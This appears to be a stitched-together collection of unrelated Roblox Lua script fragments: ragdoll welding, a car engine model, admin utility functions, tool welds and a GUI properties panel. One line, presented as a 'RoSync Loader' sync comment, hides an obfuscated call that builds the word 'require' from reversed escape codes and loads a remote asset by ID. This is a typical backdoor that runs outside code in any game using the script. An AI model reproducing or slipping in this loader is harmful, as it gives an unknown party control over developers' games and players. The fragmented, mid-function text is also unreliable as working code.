CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5))) flesh.Parent = game.Workspace end end end local Limb = Character:FindFirstChild("Right Arm") if Limb then Limb.Parent = game.Workspace script.Decap:Clone().Parent = Limb Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0) local Joint = Instance.new("Glue") Joint.Name = "RightShoulder" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character:FindFirstChild("Left Arm") if Limb then Limb.Parent = game.Workspace script.Decap:Clone().Parent = Limb Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0) local Joint = Instance.new("Glue") Joint.Name = "LeftShoulder" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character:FindFirstChild("Right Leg") if Limb then Limb.Parent = game.Workspace script.Decap:Clone().Parent = Limb Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0) local Joint = Instance.new("Glue") Joint.Name = "RightHip" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character:FindFirstChild("Left Leg") if Limb then Limb.Parent = game.Workspace script.Decap:Clone().Parent = Limb Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0) local Joint = Instance.new("Glue") Joint.Name = "LeftHip" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end --[ local Bar = Instance.new("Part") Bar.TopSurface = 0 Bar.BottomSurface = 0 Bar.formFactor = "Symmetric" Bar.Size = Vector3.new(1, 1, 1) Bar.Transparency = 1 Bar.CFrame = Torso.CFrame * CFrame.new(0, 0.5, 0) Bar.Parent = game.Workspace local Weld = Instance.new("Weld") Weld.Part0 = Torso Weld.Part1 = Bar Weld.C0 = CFrame.new(0, 0.5, 0) Weld.Parent = Torso --]] end end Humanoid.Died:connect(OnDeath)
-- Super-Simple Animated Texture Script by Lapheuz
while true do wait(0.0001) script.Parent.OffsetStudsU = script.Parent.OffsetStudsU + 0.005 -- Speed end
--[[ Last synced 7/31/2021 05:08 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 --Horsepower Curve local fgc_h=_Tune.Horsepower/100 local fgc_n=_Tune.PeakRPM/1000 local fgc_a=_Tune.PeakSharpness local fgc_c=_Tune.CurveMult function FGC(x) x=x/1000 return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1)))) end local PeakFGC = FGC(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0) return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling end --Output Cache local CacheTorque = false local HPCache = {} local HPInc = 100 if CacheTorque then for gear,ratio in pairs(_Tune.Ratios) do local hpPlot = {} for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do local tqPlot = {} tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2) hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2) tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000) tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000) hpPlot[rpm] = tqPlot end table.insert(HPCache,hpPlot) end end --Powertrain --Update RPM function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end --Apply Power function Engine() --Get Torque local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then if CacheTorque then local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)] _HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000) _OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000) else _HP,_OutTorque = GetCurve(_RPM,_CGear) end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) else _HP,_OutTorque = 0,0 end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear == 0 then _CGear = 1 end if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end else if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = 1 end end end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- Fire with stock ray
function FastCast:Fire(origin, directionWithMagnitude, velocity, cosmeticBulletObject, ignoreDescendantsInstance, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, penetrationData) assert(getmetatable(self) == FastCast, ERR_NOT_INSTANCE:format("Fire", "FastCast.new()")) BaseFireMethod(self, origin, directionWithMagnitude, velocity, cosmeticBulletObject, ignoreDescendantsInstance, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, nil, nil, penetrationData) end
-- go
OldPos = torsoPos hum:MoveTo(targpos, targ) -- MoveToward Target
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = 1/200 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 0.5 -- Wait this long between each regeneration step.
--[[ ALL FUNCTIONS TOGETHER ]]
print("Player: "..player.Name..", Age: "..player.AccountAge..", Days!")
--[=[ @return boolean Returns `true` if the option is None. ]=]
function Option:IsNone() return not self._s end
-- << FUNCTIONS >>
function module:WaitForEvent(...) local event local firstArg = ({...})[1] if typeof(firstArg) == "Instance" and firstArg:IsA("BindableEvent") then event = firstArg else event = Instance.new("BindableEvent") end local signals = {} for _,e in pairs({...}) do if e ~= firstArg then signals[#signals + 1] = e:Connect(function() event:Fire() end) end end event.Event:Wait() event:Destroy() for _,s in pairs(signals) do s:Disconnect() end end function module:CreateSound(props) local sound = Instance.new("Sound") for propName, value in pairs(props) do if propName == "SoundId" then value = "rbxassetid://"..value end sound[propName] = value end return sound end function module:FormatNotice2(noticeName, extraDetails, ...) local notice = main:GetModule("CoreNotices"):GetNotice(noticeName) notice[2] = string.format(notice[2], ...) notice[3] = extraDetails return notice end function module:FormatNotice(noticeName, ...) local notice = main:GetModule("CoreNotices"):GetNotice(noticeName) notice[2] = string.format(notice[2], ...) return notice end function module:RandomiseTable(originalTable, specificSeed) local dayId = specificSeed and math.floor(os.time()/specificSeed) local sortedTable ={} if originalTable[1]~=nil then for i=1,#originalTable do if specificSeed then math.randomseed(dayId+i) end table.insert(sortedTable,math.random(1,#sortedTable+1),originalTable[i]) end end return sortedTable end function module:IsPunished(plr) if plr and plr.Character and plr.Character.Parent == workspace then return false else return true end end function module:UnSeatPlayer(plr) local humanoid = module:GetHumanoid(plr) if humanoid then local seatPart = humanoid.SeatPart if seatPart then local seatWeld = seatPart:FindFirstChild("SeatWeld") if seatWeld then seatWeld:Destroy() wait() end end end end function module:GetBanDateString(date, serverDate) local minute = date.min or serverDate.min local hour = date.hour or serverDate.hour local day = date.day or serverDate.day local month = main:GetModule("cf"):GetMonths()[date.month or serverDate.month] local year = date.year or serverDate.year if minute < 10 then minute = "0"..minute end if hour < 10 then hour = "0"..hour end local dayId = tonumber(string.sub(day,-1)) local dayEnding = "th" if dayId < 10 or dayId > 15 then if dayId == 1 then dayEnding = "st" elseif dayId == 2 then dayEnding = "nd" elseif dayId == 3 then dayEnding = "rd" end end return(hour..":"..minute..", "..day..dayEnding.." "..month.." "..year) end function module:GetTimeAmount(timeType, d) local amount = 0 local frameName = "" if d < 0 then d = 0 end if timeType == "m" then if d > 60 then d = 60 end amount = d*60 frameName = "Minutes" elseif timeType == "h" then if d > 24 then d = 24 end amount = d*3600 frameName = "Hours" elseif timeType == "d" then if d > 100000 then d = 100000 end amount = d*86400 frameName = "Days" end return amount, frameName, d end function module:GetMonths() return{ "January"; "February"; "March"; "April"; "May"; "June"; "July"; "August"; "September"; "October"; "November"; "December"; } end function module:AnchorModel(model, state) for a,b in pairs(model:GetDescendants()) do if b:IsA("BasePart") and not b.Parent:IsA("Accessory") then b.Anchored = state end end end function module:TweenModel(model, CF, info) local CFrameValue = Instance.new("CFrameValue") CFrameValue.Value = model:GetPrimaryPartCFrame() local changedEvent changedEvent = CFrameValue:GetPropertyChangedSignal("Value"):Connect(function() if model.PrimaryPart == nil then changedEvent:Disconnect() else model:SetPrimaryPartCFrame(CFrameValue.Value) end end) local tween = main.tweenService:Create(CFrameValue, info, {Value = CF}) tween:Play() tween.Completed:Connect(function() CFrameValue:Destroy() end) end function module:Movement(state, plr) if plr == nil then plr = main.player end local hrp = module:GetHRP(plr) local humanoid = module:GetHumanoid(plr) if hrp and humanoid then if not state then local originialSpeed = humanoid.WalkSpeed humanoid.WalkSpeed = 0 wait() humanoid.WalkSpeed = originialSpeed hrp.Anchored = true else hrp.Anchored = false end end end function module:SetFakeBodyParts(char, info) for a,b in pairs(char:GetChildren()) do if main:GetModule("cf"):CheckBodyPart(b) then local fakePart = main:GetModule("MorphHandler"):CreateFakeBodyPart(char, b) for pName, pValue in pairs(info) do if pName == "Material" then fakePart.Material = pValue if pValue == Enum.Material.Glass then fakePart.Transparency = 0.5 else fakePart.Transparency = 0 end elseif pName == "Reflectance" then fakePart.Reflectance = pValue elseif pName == "Transparency" then fakePart.Transparency = pValue elseif pName == "Color" then fakePart.Color = pValue end end end end end function module:CheckBodyPart(part) if part:IsA("BasePart") and part.Name ~= "HumanoidRootPart" and string.sub(part.Name,1,4) ~= "Fake" then return true else return false end end function module:CreateClone(character) if character == nil then character = main.player.Character end local humanoid = character:FindFirstChild("Humanoid") if humanoid then --Setup clone character.Archivable = true local clone = character:Clone() local cloneHumanoid = clone.Humanoid clone.Name = character.Name.."'s HDAdminClone" local specialChar = false if clone:FindFirstChild("Chest") then specialChar = true end for a,b in pairs(clone:GetDescendants()) do if b:IsA("Humanoid") then b.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None elseif b:IsA("BillboardGui") then b:Destroy() elseif b:IsA("Weld") and b.Part1 ~= nil then b.Part0 = b.Parent if clone:FindFirstChild(b.Part1.Name) then b.Part1 = clone[b.Part1.Name] elseif not specialChar then b:Destroy() end end end --Make clone visible --module:SetTransparency(clone, 0) clone.Parent = workspace --Animations local tracks = {} local desc = humanoid:GetAppliedDescription() local animate = clone:FindFirstChild("Animate") if animate then for i,v in pairs(clone.Animate:GetChildren()) do local anim = (v:GetChildren()[1]) if anim then --anim.Parent = clone tracks[v.Name] = cloneHumanoid:LoadAnimation(anim) end end tracks.idle:Play() end return clone, tracks end end function module:SetTransparency(model, value, force) local plr = main.players:GetPlayerFromCharacter(model) if ((plr and main.pd[plr] and main.pd[plr].Items.UnderControl and not force)) or not model then return end local fakeParts = false if model:FindFirstChild("FakeHead") then fakeParts = true end for a,b in pairs(model:GetDescendants()) do if (b:IsA("BasePart") and b.Name ~= "HumanoidRootPart") or (b.Name == "face" and b:IsA("Decal")) then local ot = b:FindFirstChild("OriginalTransparency") if value == 1 and b.Transparency ~= 0 and not ot then ot = Instance.new("IntValue") ot.Name = "OriginalTransparency" ot.Value = b.Transparency ot.Parent = b elseif value == 0 and ot then b.Transparency = ot.Value ot:Destroy() elseif not fakeParts or model:FindFirstChild(b.Name.."Fake") == nil then --string.sub(b.Name,1,4) == "Fake" then b.Transparency = value end elseif (b:IsA("ParticleEmitter") and b.Name == "BodyEffect") or b:IsA("PointLight") then if value == 1 then b.Enabled = false elseif value == 0 then b.Enabled = true end elseif b:IsA("BillboardGui") then if value == 1 then b.Enabled = false elseif value == 0 then b.Enabled = true end end end end function module:GetMessageTime(msg) return(3+(string.len(msg)/30)) end function module:GetProductInfo(assetId) local infoToReturn = {} local success, productInfo = pcall(function() return main.marketplaceService:GetProductInfo(assetId) end) if success then infoToReturn = productInfo end return infoToReturn end function module:CheckIfValidSound(soundId) local productInfo = module:GetProductInfo(soundId) if productInfo.AssetTypeId == 3 then return true else return false end end function module:GetChar(plr) if plr == nil then plr = main.player end if plr then return plr.Character end end function module:GetHRP(plr) if plr == nil then plr = main.player end if plr and plr.Character then local head = plr.Character:FindFirstChild("HumanoidRootPart") return head end end function module:GetNeck(plr) if plr == nil then plr = main.player end if plr and plr.Character then local head = plr.Character:FindFirstChild("Head") if head then local neck = head:FindFirstChild("Neck") local torso = plr.Character:FindFirstChild("Torso") if not neck and torso then neck = torso:FindFirstChild("Neck") end return neck end end end function module:GetHead(plr) if plr == nil then plr = main.player end if plr and plr.Character then local head = plr.Character:FindFirstChild("Head") return head end end function module:GetFace(plr) if plr == nil then plr = main.player end if plr and plr.Character then local head = plr.Character:FindFirstChild("Head") if head then local face = head:FindFirstChild("face") if face and face.ClassName == "Decal" then return face end end return head end end function module:GetHumanoid(plr) if plr == nil then plr = main.player end if plr and plr.Character then local humanoid = plr.Character:FindFirstChild("Humanoid") return humanoid end end function module:GetProductInfo(productId, productType) local productInfo = {} local success, message = pcall(function() productInfo = main.marketplaceService:GetProductInfo(productId, productType) end) if not success then --warn("HD Admin | Loader settings incorrect | "..message) end return productInfo end function module:GetFriends(userId) local friendsList = {} local success, page = pcall(function() return main.players:GetFriendsAsync(userId) end) if success then repeat local info = page:GetCurrentPage() for i, friendInfo in pairs(info) do friendsList[friendInfo.Username] = friendInfo.Id end if not page.IsFinished then page:AdvanceToNextPageAsync() end until page.IsFinished end return friendsList end function module:GetRankName(rankIdToConvert) local rankNameToReturn = "" for _, rankDetails in pairs(main.settings.Ranks) do local rankId = rankDetails[1] local rankName = rankDetails[2] if rankIdToConvert == rankId then rankNameToReturn = rankName elseif rankIdToConvert == "Donor" then rankNameToReturn = rankIdToConvert end end return rankNameToReturn end function module:GetRankId(rankNameToConvert) local rankIdToReturn = 0 for _, rankDetails in pairs(main.settings.Ranks) do local rankId = rankDetails[1] local rankName = rankDetails[2] if rankNameToConvert == rankName then rankIdToReturn = rankId end end return rankIdToReturn end function module:CheckRankExists(rankName) for _, rankDetails in pairs(main.settings.Ranks) do if string.lower(rankDetails[2]) == rankName then return true end end return false end function module:GetUserId(userName) local start = tick() local userId = main.UserIdsFromName[userName] if not userId or userId <= 1 then userId = 1 local success, message = pcall(function() userId = main.players:GetUserIdFromNameAsync(userName) end) main.UserIdsFromName[userName] = userId --main.UsernamesFromUserId[tostring(userId)] = userName end return userId end function module:GetName(userId) local userIdString = tostring(userId) local userIdInt = tonumber(userId) local username = main.UsernamesFromUserId[userIdString] if not username then username = "" if userIdInt then local success, message = pcall(function() username = main.players:GetNameFromUserIdAsync(userIdInt) end) if not success then --warn("HD Admin | Loader settings incorrect | "..message) else main.UsernamesFromUserId[userIdString] = username --main.UserIdsFromName[username] = userIdInt end end end return username end function module:FindValue(table, value) for i,v in pairs(table) do if tostring(v) == tostring(value) then return true end end return false end return module
-- How many seconds to respawn the dummy after it dies
local CanSpawn = true
--None of this is mine...
Tool = script.Parent; local arms = nil local torso = nil local welds = {} script.act.OnServerEvent:Connect(function() wait(0.01) local ui = script["if you delete this your scripts gonna break homes"]:Clone() --well done, now you know that you can delete this to not credit me )': local plr = game.Players:GetPlayerFromCharacter(Tool.Parent) ui.Parent = plr.PlayerGui arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")} torso = Tool.Parent:FindFirstChild("Torso") if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = nil sh[2].Part1 = nil local weld1 = Instance.new("Weld") weld1.Part0 = torso weld1.Parent = torso weld1.Part1 = arms[1] weld1.C1 = CFrame.new(1.2, 0.7, 0.35) * CFrame.Angles(math.rad(-90), math.rad(45), math.rad(0), 0) ---The first set of numbers changes where the arms move to the second set changes their angles welds[1] = weld1 weld1.Name = "weld1" local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(-0.75, -0.28, 0.45) * CFrame.Angles(math.rad(-90), 0, 0) --- Same as top welds[2] = weld2 weld2.Name = "weld2" end else print("sh") end else print("arms") end end) arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")} torso = Tool.Parent:FindFirstChild("Torso") if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = nil sh[2].Part1 = nil local weld1 = Instance.new("Weld") weld1.Part0 = torso weld1.Parent = torso weld1.Part1 = arms[1] weld1.C1 = CFrame.new(1.2, 0.7, 0.35) * CFrame.Angles(math.rad(-90), math.rad(45), math.rad(0), 0) ---The first set of numbers changes where the arms move to the second set changes their angles welds[1] = weld1 weld1.Name = "weld1" local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) --- Same as top welds[2] = weld2 weld2.Name = "weld2" end else print("sh") end else print("arms") end; script.dct.OnServerEvent:Connect(function() local ui = script.Parent.Parent.Parent.PlayerGui["if you delete this your scripts gonna break homes"] ui:Destroy() if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = arms[1] sh[2].Part1 = arms[2] welds[1].Parent = nil welds[2].Parent = nil end else print("sh") end else print("arms") end end)
---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ----------------------------------------------------------------
local MainFrame = Instance.new("Frame") MainFrame.Name = "MainFrame" MainFrame.Size = UDim2.new(1, -1 * ScrollBarWidth, 1, 0) MainFrame.Position = UDim2.new(0, 0, 0, 0) MainFrame.BackgroundTransparency = 1 MainFrame.ClipsDescendants = true MainFrame.Parent = PropertiesFrame ContentFrame = Instance.new("Frame") ContentFrame.Name = "ContentFrame" ContentFrame.Size = UDim2.new(1, 0, 0, 0) ContentFrame.BackgroundTransparency = 1 ContentFrame.Parent = MainFrame scrollBar = ScrollBar(false) scrollBar.PageIncrement = 1 Create(scrollBar.GUI,{ Position = UDim2.new(1,-ScrollBarWidth,0,0); Size = UDim2.new(0,ScrollBarWidth,1,0); Parent = PropertiesFrame; }) scrollBarH = ScrollBar(true) scrollBarH.PageIncrement = ScrollBarWidth Create(scrollBarH.GUI,{ Position = UDim2.new(0,0,1,-ScrollBarWidth); Size = UDim2.new(1,-ScrollBarWidth,0,ScrollBarWidth); Visible = false; Parent = PropertiesFrame; }) do local listEntries = {} local nameConnLookup = {} function scrollBar.UpdateCallback(self) scrollBar.TotalSpace = ContentFrame.AbsoluteSize.Y scrollBar.VisibleSpace = MainFrame.AbsoluteSize.Y ContentFrame.Position = UDim2.new(ContentFrame.Position.X.Scale,ContentFrame.Position.X.Offset,0,-1*scrollBar.ScrollIndex) end function scrollBarH.UpdateCallback(self) end MainFrame.Changed:connect(function(p) if p == 'AbsoluteSize' then scrollBarH.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.x) scrollBarH:Update() scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y) scrollBar:Update() end end) local wheelAmount = Row.Height PropertiesFrame.MouseWheelForward:connect(function() if scrollBar.VisibleSpace - 1 > wheelAmount then scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount) else scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace) end end) PropertiesFrame.MouseWheelBackward:connect(function() if scrollBar.VisibleSpace - 1 > wheelAmount then scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount) else scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace) end end) end scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y) scrollBar:Update() showProperties(GetSelection()) bindSelectionChanged.Event:connect(function() showProperties(GetSelection()) end) bindSetAwait.Event:connect(function(obj) if AwaitingObjectValue then AwaitingObjectValue = false local mySel = obj if mySel then pcall(function() Set(AwaitingObjectObj, AwaitingObjectProp, mySel) end) end end end) propertiesSearch.Changed:connect(function(prop) if prop == "Text" then showProperties(GetSelection()) end end) bindGetApi.OnInvoke = function() return RbxApi end bindGetAwait.OnInvoke = function() return AwaitingObjectValue end
-- print(raycastResult)
if raycastResult then local hitPart = raycastResult.Instance local hum = hitPart.Parent:FindFirstChild("Humanoid") if hum then result = raycastResult end end return result end
--[=[ Retrieves a remote event as a promise @class PromiseGetRemoteEvent ]=]
